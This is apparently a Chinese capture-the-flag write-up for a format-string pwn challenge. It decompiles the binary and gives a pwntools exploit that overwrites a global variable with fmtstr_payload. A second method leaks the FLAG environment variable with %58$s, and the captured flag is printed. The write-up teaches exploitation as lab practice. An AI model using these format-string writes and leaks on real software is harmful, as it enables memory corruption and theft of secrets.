【中等】魔法禁书目录
hint:什么格式化字符串可以覆盖内存?如果你觉得手动构造太复杂,pwntools 或许可以助你一臂之力。
非预期?!:出题人打开程序一看,这个是什么?一顿操作后,他发现一个似乎是非预期。什么?非预期?但是这个也是格式化字符串,怎么可以叫非预期呢?(嘴硬)如果你想知道是什么,不妨看看这个:泄露内存。
题目分析
一样,放入 IDA 分析一下:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v4; // [rsp+8h] [rbp-68h]
char buf[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
ancient_power = rand();
printf("tell me your name: ");
read(0, buf, 0x50uLL);
printf("your name is ");
printf(buf);
if ( ancient_power == 1131796 )
{
v4 = getenv("FLAG");
printf("\nThe mystical power has been revealed: %s\n", v4);
}
else
{
puts("\nThe mystical power remains hidden...");
}
return 0;
}
很简单,如果 ancient_power 这个全局遍历器变量的值为 1131796 (0x114514) 就会打印 FLAG,否则就打印 The mystical power remains hidden...
用 IDA 也可以得到 ancient_power 的地址(没有开PIE):
.bss:000000000040404C public ancient_power
.bss:000000000040404C ancient_power dd ? ; DATA XREF: main+7A↑w
.bss:000000000040404C ; main+CF↑r
.bss:000000000040404C _bss ends
对于格式化字符串的偏移嘛,有一个很好用的工具:Pwngdb 可以用他的 fmtarg 进行偏移的计算。
把程序运行到 printf 处(未执行),然后求 rdi 所在的偏移:
00:0000│ rsp 0x7fffffffd6d0 ◂— 0
01:0008│-068 0x7fffffffd6d8 ◂— 0
02:0010│ rsi 0x7fffffffd6e0 ◂— 0xa7025 /* '%p\n' */
03:0018│-058 0x7fffffffd6e8 ◂— 0
pwndbg> fmtarg 0x7fffffffd6e0
The index of format argument : 8 (\"\%7$p\")
上面的 8 就是我们需要的偏移。
exp
- 方法一:覆盖内存:
小 tip : fmtstr_payload使用要指定架构,arch='amd64'。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = remote('202.199.6.66', 35977)
p = process('./ancient_book')
# 方法一:格式化字符串进行内存覆盖
ancient_power_addr = 0x40404C
payload = fmtstr_payload(8, {ancient_power_addr: 0x114514})
p.sendline(payload)
- 方法二:泄露内存
由于程序把 flag 放入了环境变量中,我们可以通过用 fmt 泄露环境变量。
# 直接用 %s 泄露
# 这个是因为 flag 在环境变量中,所以直接用 %s 泄露
# 调试发现 %57$s 开始泄露环境变量,用 %58$s 就可以泄露 flag
# 33:0198│ r13 0x7fffffffd918 —▸ 0x7fffffffdc0c ◂— 'SHELL=/bin/bash'
# pwndbg> fmtarg 0x7fffffffd918
# The index of format argument : 57 (\"\%56$p\")
接下来 nc 连接,再输入 %58$s 即可获得 flag。
┌──(kali㉿LAPTOP-9O25NAN3)-[~/Desktop/nex_practice/fmt]
└─$ nc 202.199.6.66 39427
tell me your name: %58$s
your name is FLAG=nex{I0rM475TRiN9S_rEvEA1_aNclenT_pOW3R5-n2p59hn7}
The mystical power remains hidden...